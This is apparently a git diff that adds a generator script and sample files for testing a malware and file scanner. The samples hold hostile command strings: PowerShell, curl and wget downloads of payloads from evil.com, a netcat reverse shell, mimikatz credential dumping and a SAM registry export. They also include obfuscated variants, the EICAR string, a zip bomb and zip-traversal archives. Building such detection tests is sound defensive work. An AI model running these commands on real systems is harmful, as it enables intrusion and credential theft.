"Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"), + ("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"), + ("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"), + ("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"), + ("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"), + ("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"), + ("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"), + ("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"), + ("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"), + ("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"), + ("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"), + ("L3-014", "zip_member", None, None), # 后面处理 + ("L3-016", "ps1", "", "pass"), + ("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"), + ("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"), + ("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"), + ("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"), + ] + + for cid, ext, content, rule_str in l3_cases: + if ext == "zip_member": + continue + if rule_str == "pass": + verdict = "pass" + rules = [] + elif rule_str is None or "不命中" in str(rule_str): + verdict = "pass" + rules = [] + else: + verdict = "reject" + rules = [r.strip() for r in rule_str.split(",")] + fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}" + write_text(fname, content or "") + add_meta(cid, fname, "L3", verdict, rules) + + # L3-014: 高危字符串放在 zip 内部 + p = OUT_DIR / "L3-014_l3001_in_zip.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe") + add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"]) + + # L3-015: docx 正文写恶意关键词 + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("[Content_Types].xml", '') + zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download") + write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue()) + add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"]) + + # L3-019: unicode 同形字混淆 + write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com") + add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中") + + # L3-020: 日志文件混杂正常日志 + 高危串 + write_text("L3-020_log_with_keyword.log", + "2026-10-29 10:00:01 INFO service started\n" + "2026-10-29 10:00:02 ERROR connection refused\n" + "nc 10.0.0.5 4444 -e /bin/bash\n" + "2026-10-29 10:00:05 DEBUG retries exhausted") + add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"]) + + # L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理) + p = OUT_DIR / "L3-023_keyword_in_encrypted.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("evil.txt", "mimikatz privilege::debug") + add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)") + + # ==================================================================== + # L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则 + # ==================================================================== + + l4_cases = [ + ("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"), + ("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"), + ("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"), + ("L4-008", "zip_inner", None, None, None, None), + ("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"), + ] + for cid, ext, content, rules, verdict, desc in l4_cases: + if ext == "zip_inner": + p = OUT_DIR / f"{cid}_in_zip.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("match.txt", content or "") + fname = p.name + else: + fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}" + write_text(fname, content or "") + add_meta(cid, fname, "L4", verdict, rules or [], desc) + + # ==================================================================== + # L5 PE 二进制(20 条) + # ==================================================================== + + fake_pe("L5-001_clean_hello.exe") + add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", []) + + fake_pe("L5-002_upx_shell.exe", upx=True) + add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名") + + fake_pe("L5-003_double_upx.exe", upx=True) + add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"]) + + fake_pe("L5-004_rwx_section.exe", rwx=True) + add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX") + + # L5-007: 节名异常(乱码节名) + pe_path = fake_pe("L5-007_garbage_section.exe") + raw = pe_path.read_bytes() + # 在 raw 里找 section 名,替换成乱码 + idx = raw.find(b".text") + if idx >= 0: + raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:] + pe_path.write_bytes(raw) + add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码") + + # L5-010: 损坏 PE 签名(MZ 改走) + p = OUT_DIR / "L5-010_bad_mz.exe" + p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044) + add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法") + + # L5-011: 截断 PE + fake_pe("L5-011_truncated.exe") + p = OUT_DIR / "L5-011_truncated.exe" + raw = p.read_bytes() + p.write_bytes(raw[:len(raw) // 3]) + add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE") + + fake_pe("L5-012_pe32.exe") + add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别") + + fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位 + add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位") + + fake_pe("L5-014_clean_tool.exe") + add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", []) + + fake_pe("L5-016_zero_section.exe") + add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位") + + fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True) + add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"]) + + fake_pe("L5-018_debug_info.exe") + add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位") + + # ==================================================================== + # NEG 负样本(20 条) + # ==================================================================== + + neg = [ + ("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200), + ("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200), + ("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200), + ("NEG-004", "docx", None), + ("NEG-005", "xlsx", None), + ("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"), + ("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"), + ("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"), + ("NEG-009", "zip_inner", None), + ("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包 + ("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"), + ("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"), + ("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"), + ("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100), + ("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200), + ("NEG-016", "dwg", b"AC1021" + b"\x00" * 200), + ("NEG-017", "4layer_nested", None), + ("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."), + ("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"), + ("NEG-020", "odt", None), + ] + for cid, ext, content in neg: + if ext == "docx": + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("[Content_Types].xml", '') + zf.writestr("word/document.xml", "") + write_bytes(f"{cid}_clean.docx", buf.getvalue()) + add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", []) + elif ext == "xlsx": + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("[Content_Types].xml", '') + zf.writestr("xl/workbook.xml", "") + write_bytes(f"{cid}_clean.xlsx", buf.getvalue()) + add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", []) + elif ext == "zip_inner": + p = OUT_DIR / f"{cid}_clean.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("report.txt", "clean business data") + zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50) + add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", []) + elif ext == "4layer_nested": + buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue()) + buf2 = io.BytesIO() + with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50) + p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue()) + # 简化:直接做 4 层干净 zip + data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00" + p2.write_bytes(data) + add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", []) + elif ext == "odt": + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("mimetype", "application/vnd.oasis.opendocument.text") + zf.writestr("content.xml", "") + write_bytes(f"{cid}_clean.odt", buf.getvalue()) + add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", []) + elif isinstance(content, bytes): + fname = f"{cid}_clean.{ext}" + write_bytes(fname, content) + add_meta(cid, fname, "NEG", "pass", []) + elif isinstance(content, str): + fname = f"{cid}_clean.{ext}" + write_text(fname, content) + add_meta(cid, fname, "NEG", "pass", []) + + # ==================================================================== + # 写 index.json + # ==================================================================== + index = { + "meshsafe_target_version": "v0.2.1", + "generated_at": __import__("datetime").datetime.now().isoformat(), + "csv_source": str(CSV_PATH.name), + "samples": meta_list, + } + index_path = OUT_DIR / "index.json" + # 备份旧 index.json + if index_path.exists(): + import shutil + shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json") + index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8") + + print(f"✅ 生成完成!") + print(f" 样本目录: {OUT_DIR}") + print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}") + print(f" 元数据: index.json 含 {len(meta_list)} 条") + + # 统计各层 + from collections import Counter + cnt = Counter(m["category"] for m in meta_list) + print(f" 各层分布: {dict(cnt)}") + + # 检查 case_id 覆盖率 + with open(CSV_PATH, "r", encoding="utf-8") as f: + csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f)) + gen_ids = set(m["case_id"] for m in meta_list) + missing = csv_ids - gen_ids + if missing: + print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:") + for mid in sorted(missing): + print(f" - {mid}") + else: + print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本") + +if __name__ == "__main__": + generate() diff --git a/tests/samples/L0-001_jpg_normal.jpg b/tests/samples/L0-001_jpg_normal.jpg new file mode 100644 index 0000000000000000000000000000000000000000..898fa147c164c1f457039c22c9f8807fe2af902e GIT binary patch literal 54 Ocmex=jXjXCx3d9@ z*xBeq=l~RB?nbro@&dJkupkhZ=NF~ur{pJ><^s(E8&Ylsj?FbYO=2mk=}gr~m)} literal 0 HcmV?d00001 diff --git a/tests/samples/L0-007_disguise_txt_pdf.txt b/tests/samples/L0-007_disguise_txt_pdf.txt new file mode 100644 index 0000000..fd0b6ce --- /dev/null +++ b/tests/samples/L0-007_disguise_txt_pdf.txt @@ -0,0 +1,2 @@ +%PDF-1.4 +%%EOF \ No newline at end of file diff --git a/tests/samples/L0-008_disguise_png_zip.png b/tests/samples/L0-008_disguise_png_zip.png new file mode 100644 index 0000000000000000000000000000000000000000..5692f10f6fe18fbbe01f46eb4492f388709a453f GIT binary patch literal 54 OcmWIWW@cd^82|tx1puP} literal 0 HcmV?d00001 diff --git a/tests/samples/L0-009_double_ext_pdf_exe.pdf.exe b/tests/samples/L0-009_double_ext_pdf_exe.pdf.exe new file mode 100644 index 0000000000000000000000000000000000000000..014f672301d77e775e2f7464a10e19e5961e505c GIT binary patch literal 104 McmeZ`VxS8E07K>gr~m)} literal 0 HcmV?d00001 diff --git a/tests/samples/L0-010_double_ext_txt_ps1.txt.ps1 b/tests/samples/L0-010_double_ext_txt_ps1.txt.ps1 new file mode 100644 index 0000000..cfd72d1 --- /dev/null +++ b/tests/samples/L0-010_double_ext_txt_ps1.txt.ps1 @@ -0,0 +1 @@ +echo hello \ No newline at end of file diff --git a/tests/samples/L0-011_double_ext_docx_js.docx.js b/tests/samples/L0-011_double_ext_docx_js.docx.js new file mode 100644 index 0000000..669f262 --- /dev/null +++ b/tests/samples/L0-011_double_ext_docx_js.docx.js @@ -0,0 +1 @@ +alert('x'); \ No newline at end of file diff --git a/tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat b/tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat new file mode 100644 index 0000000..bd1ad21 --- /dev/null +++ b/tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat @@ -0,0 +1,2 @@ +@echo off +echo hello \ No newline at end of file diff --git a/tests/samples/L0-013_clean.ps1 b/tests/samples/L0-013_clean.ps1 new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L0-014_clean.bat b/tests/samples/L0-014_clean.bat new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L0-015_clean.cmd b/tests/samples/L0-015_clean.cmd new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L0-016_clean.vbs b/tests/samples/L0-016_clean.vbs new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L0-017_clean.js b/tests/samples/L0-017_clean.js new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L0-018_zip_traversal.zip b/tests/samples/L0-018_zip_traversal.zip new file mode 100644 index 0000000000000000000000000000000000000000..e0ead900ae697b50acb2adf2766c34c4aafb02a7 GIT binary patch literal 137 zcmWIWW@Zs#00E(x*jUjl9Vd1m8-xXbSWizswJb9yKBXwXK(C~tq#&^}CqFSIz?+dt ggaNlUpiVGoU<6U}n}RqD0AA@9BLDyZ literal 0 HcmV?d00001 diff --git a/tests/samples/L0-019_zip_deep_traversal.zip b/tests/samples/L0-019_zip_deep_traversal.zip new file mode 100644 index 0000000000000000000000000000000000000000..7d6ef8da782603d3b0c9f972ab2fe4db85ccddac GIT binary patch literal 147 zcmWIWW@Zs#00E(x*jUjl9Vd1m8-zuHSWizMh>9zVOHy;=Q;PBn^hzp93KA=G@)J`6 kycwB97;x(aY6pV`Mi7P7qyTSLHjpGE5IO^CD-eeP0HMzrHvj+t literal 0 HcmV?d00001 diff --git a/tests/samples/L0-020_zip_bomb.zip b/tests/samples/L0-020_zip_bomb.zip new file mode 100644 index 0000000000000000000000000000000000000000..af7a83e286591c836f7397069c3ad0650bdf604c GIT binary patch literal 420222 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 literal 0 HcmV?d00001 diff --git a/tests/samples/L0-022_3layer_nested.zip b/tests/samples/L0-022_3layer_nested.zip new file mode 100644 index 0000000000000000000000000000000000000000..95bc39416c18863a649096f66b5d50d1c8ba010d GIT binary patch literal 365 zcmWIWW@Zs#00H5c*w||Jj!l1oY!GG#;@r#>y{gQD02D<$hKrtc0wqD16NoeO@=}X1 zm9+|b@p1#DL6{GSlXFrN^WxJob5iw6DoQd^b8_+(%JYkIQUbggnM4>6jzHH4)C&d; zj35ftm;i59HjpSI5ZVA~a}b9C-9&U3gB1Y@h>1wkKN=)}Y!K!G;^NfgqSO+-l8TblyyT+Ff|Aq}h2;D^Ag@Fr qH?b%?wJ5-wkx7IBw+TQ)z@UKe>Ode>Od<@p)dH1+K?5U* gg6RzKW@Q8M8G+CYNNa&OKrRzAOL}5aQet{4058=RKL7v# literal 0 HcmV?d00001 diff --git a/tests/samples/L0-029_zero_byte_exe.exe b/tests/samples/L0-029_zero_byte_exe.exe new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L1-001_eicar.txt b/tests/samples/L1-001_eicar.txt new file mode 100644 index 0000000..a2463df --- /dev/null +++ b/tests/samples/L1-001_eicar.txt @@ -0,0 +1 @@ +X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \ No newline at end of file diff --git a/tests/samples/L1-002_eicar_in_zip.zip b/tests/samples/L1-002_eicar_in_zip.zip new file mode 100644 index 0000000000000000000000000000000000000000..0feb3b61e027a4f7cfcdb4dcd59244d7ab39c5d3 GIT binary patch literal 184 zcmWIWW@Zs#00H5c*jStMff+79HVAV9acX9AVv$}+MM;FIzhZ!@gJVFnNlZXggsF)} zK%Azzv$Ljot%|Fsvty8MaEPOyi(`jXjXCx3d9@ z*xBeq=l~RBY|aN}xB#_-upkhZ=NF~ur{pJ><^s(E84_XYuNa`};202X5)%*=VQQig z5T|MG?5t^CtK#bE>=>jQ9OCHb;uz$j>*yEa8Ri)j8mt@Q8XThQ=IP_AsN$jRp%viG z$Rxsm+wDMm!JvT=L}Bp>x&i2}hG=JCXkc^)GBNxR;LXYgQo;m;4M2Jqh{FH?ne$2l literal 0 HcmV?d00001 diff --git a/tests/samples/L1-005_eicar_modified.txt b/tests/samples/L1-005_eicar_modified.txt new file mode 100644 index 0000000..8b3479f --- /dev/null +++ b/tests/samples/L1-005_eicar_modified.txt @@ -0,0 +1 @@ +Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \ No newline at end of file diff --git a/tests/samples/L1-011_eicar_in_3layer.zip b/tests/samples/L1-011_eicar_in_3layer.zip new file mode 100644 index 0000000000000000000000000000000000000000..3ea6fee0e630a1220f5a0e9b45883530ce7f91ec GIT binary patch literal 412 zcmWIWW@Zs#00H5c*jU+6?;IUQ1_lsj2a4rprs!2=76hOuT9K&6vjZpz!kj>ynU|MZ zgsIHtd|-wPP#T0m%2G3v6N~gpDoP?u{S^aL9UKFqO=1F~B1}y*0^&5yot-t!YgJr5 zogIU8gF_tsTpWX3bRGRdJi|PLLW6ZfT!TY&-8_9<6;(X6J+uP68JR>F5DrJT3}_!1 zGypwPf1jH~T@1h!ZAFK}DF!UfrH4GlW2%}7a JDgwdI1^^9xL@fXS literal 0 HcmV?d00001 diff --git a/tests/samples/L1-012_eicar_base64.txt b/tests/samples/L1-012_eicar_base64.txt new file mode 100644 index 0000000..6a3c4df --- /dev/null +++ b/tests/samples/L1-012_eicar_base64.txt @@ -0,0 +1 @@ +WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo= \ No newline at end of file diff --git a/tests/samples/L3-001_001_sample.ps1 b/tests/samples/L3-001_001_sample.ps1 new file mode 100644 index 0000000..4cc11d1 --- /dev/null +++ b/tests/samples/L3-001_001_sample.ps1 @@ -0,0 +1 @@ +Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe \ No newline at end of file diff --git a/tests/samples/L3-002_002_sample.ps1 b/tests/samples/L3-002_002_sample.ps1 new file mode 100644 index 0000000..4430291 --- /dev/null +++ b/tests/samples/L3-002_002_sample.ps1 @@ -0,0 +1 @@ +nc 10.0.0.5 4444 -e /bin/bash \ No newline at end of file diff --git a/tests/samples/L3-003_003_sample.bat b/tests/samples/L3-003_003_sample.bat new file mode 100644 index 0000000..4fdd73c --- /dev/null +++ b/tests/samples/L3-003_003_sample.bat @@ -0,0 +1 @@ +curl http://evil.com/payload -o evil.exe \ No newline at end of file diff --git a/tests/samples/L3-004_004_sample.txt b/tests/samples/L3-004_004_sample.txt new file mode 100644 index 0000000..15d7d6b --- /dev/null +++ b/tests/samples/L3-004_004_sample.txt @@ -0,0 +1 @@ +mimikatz.exe privilege::debug sekurlsa::logonpasswords \ No newline at end of file diff --git a/tests/samples/L3-005_005_sample.txt b/tests/samples/L3-005_005_sample.txt new file mode 100644 index 0000000..4679232 --- /dev/null +++ b/tests/samples/L3-005_005_sample.txt @@ -0,0 +1 @@ +reg save HKLM\SAM sam.save \ No newline at end of file diff --git a/tests/samples/L3-006_006_sample.txt b/tests/samples/L3-006_006_sample.txt new file mode 100644 index 0000000..4541c73 --- /dev/null +++ b/tests/samples/L3-006_006_sample.txt @@ -0,0 +1 @@ +tscon 1 /dest:rdp-tcp:1 \ No newline at end of file diff --git a/tests/samples/L3-007_007_sample.txt b/tests/samples/L3-007_007_sample.txt new file mode 100644 index 0000000..394c032 --- /dev/null +++ b/tests/samples/L3-007_007_sample.txt @@ -0,0 +1 @@ +SW52b2tlLVdlYlJlcXVlc3Q \ No newline at end of file diff --git a/tests/samples/L3-008_008_sample.ps1 b/tests/samples/L3-008_008_sample.ps1 new file mode 100644 index 0000000..a1c6504 --- /dev/null +++ b/tests/samples/L3-008_008_sample.ps1 @@ -0,0 +1 @@ +$a="Invo";$b="ke-WebRequest"; & ($a+$b) \ No newline at end of file diff --git a/tests/samples/L3-010_010_sample.ps1 b/tests/samples/L3-010_010_sample.ps1 new file mode 100644 index 0000000..8f52212 --- /dev/null +++ b/tests/samples/L3-010_010_sample.ps1 @@ -0,0 +1 @@ +Invoke#comment-WebRequest https://evil.com \ No newline at end of file diff --git a/tests/samples/L3-011_011_sample.js b/tests/samples/L3-011_011_sample.js new file mode 100644 index 0000000..5f56443 --- /dev/null +++ b/tests/samples/L3-011_011_sample.js @@ -0,0 +1 @@ +var w = new Function('wget http://evil.com/payload'); w(); \ No newline at end of file diff --git a/tests/samples/L3-012_012_sample.bat b/tests/samples/L3-012_012_sample.bat new file mode 100644 index 0000000..cc3d9e2 --- /dev/null +++ b/tests/samples/L3-012_012_sample.bat @@ -0,0 +1 @@ +curl http://192.168.1.100/file.zip \ No newline at end of file diff --git a/tests/samples/L3-014_l3001_in_zip.zip b/tests/samples/L3-014_l3001_in_zip.zip new file mode 100644 index 0000000000000000000000000000000000000000..3b898969a258dc432fd05baa4aa2141304242ed3 GIT binary patch literal 177 zcmWIWW@Zs#00H5c*w_n)p0!&7*&xgf#080!Ir)hxdIiOXo_S^Y*{QnWsYyYpg{7&* zB?`KsMVSg2B_##LR{Hv>Wtlm8$@#eoy8fjlZkai$3Sg1ciqrsaMkWyk+;#x10fPoc 